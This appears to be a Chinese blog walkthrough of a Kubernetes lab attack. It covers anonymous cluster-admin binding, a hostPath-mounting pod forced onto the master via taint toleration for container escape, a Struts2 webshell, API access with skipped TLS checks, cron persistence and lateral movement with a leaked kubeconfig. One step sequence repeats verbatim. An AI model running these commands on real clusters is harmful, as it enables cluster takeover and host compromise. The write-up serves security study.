Skip to main content

K8s-3-靶场渗透

·218 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

K8s-3-未授权访问
#

K8S集群渗透
#

1

确保都running不然实验不行而且版本要合适

注意:k8s里面的pod采用的是yaml语法 docker采用dockerfile

你攻击的都是node节点主机,但是你要攻击的是master所以用到污点(taint)用于限制哪些Pod可以被调度到某一个节点(部署到master上)然后逃逸获得master权限

1:相关命令-寻找污点
#

#查看pod归属
kubectl get pods -o wide
#查看目标node污点
kubectl describe nodes master
#查看目标污点并筛选
kubectl describe node master | grep 'Taints' -A 5
#清除目标node污点
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-


NoSchedule:表示不允许 Pod 被自动调度到带有此污点的节点上。只有当 Pod 具有与污点匹配的容忍度时,才能在这些节点上调度 Pod。  所以你放不到Master上面

1

当你在master构建一个镜像其他IP都能访问因为他做了负载均衡-一般来说你拿下一台主机对应哪台IP-但是K8S可能进去会懵逼

2:靶场实战
#

默认设计:API Server 仅暴露于内网

1:kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous 打开6443默认API访问
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
2:应用部署漏洞
kubectl create deployment struts --image=vulhub/struts2:2.3.28 创建镜像
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort  为上面创建的 struts Deployment 暴露一个 Service,使外部(或集群内其他服务)可以访问该应用。
kubectl get pod,svc 查看当前集群中所有 Pod 和 Service 的状态信息。


绕过 多创建几次放到master节点上
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: xxx
spec:
 tolerations:
   - key: node-role.kubernetes.io/master
     operator: Exists
     effect: NoSchedule
 containers:
   - name: xxx
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

1

检测struct2漏洞然后上传webshell

1

连接上去 注意这里哥斯拉:webshell是没有交互的

[root@master-1 ~]# kubectl cp kubectl struts-6555fd8cf8-qbjx4:/ [root@master-1 ~]# kubectl cp cdk_linux_amd64 struts-6555fd8cf8-qbjx4:/ 放上去

使用cdk evaluate扫描发现APIserver未授权

1

curl -k https://192.168.79.131:6443/api/v1/namespaces/default/pods

可以获取pod信息我们可以上传一个绕过node节点创建到master的yaml文件

1

绕过交互如叫你输入username和password它可以跳过

./kubectl –server=https://192.168.79.131:6443 –insecure-skip-tls-verify=true –username=a –password=a create -f ./x.yaml

创建成功 多创建几次

1

成功创建到master节点我们进去开始逃逸

1

./kubectl –server=https://192.168.79.131:6443 –insecure-skip-tls-verify=true –username=a –password=a create -f ./x.yaml

创建成功 多创建几次

1

成功创建到master节点我们进去开始逃逸

1

./kubectl –server=https://192.168.1.131:6443 –insecure-skip-tls-verify=true –username=a –password=a exec xxx1 – bash -c “cat /master/root/flag”

拿下后写入计划任务

1

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ –kubeconfig=config –insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default –kubeconfig=config

./kubectl -n default –kubeconfig=config exec xiaodisec – bash -c “ls /mnt/root”

Related

K8s-2-未授权访问-proxy
·931 words·5 mins
K8s-1-未授权访问
·977 words·5 mins
Pane12靶机-VITE
·27 words·1 min
CodeTwo靶机-HTB
·157 words·1 min
Docker-逃逸-LINux内核漏洞
·216 words·2 mins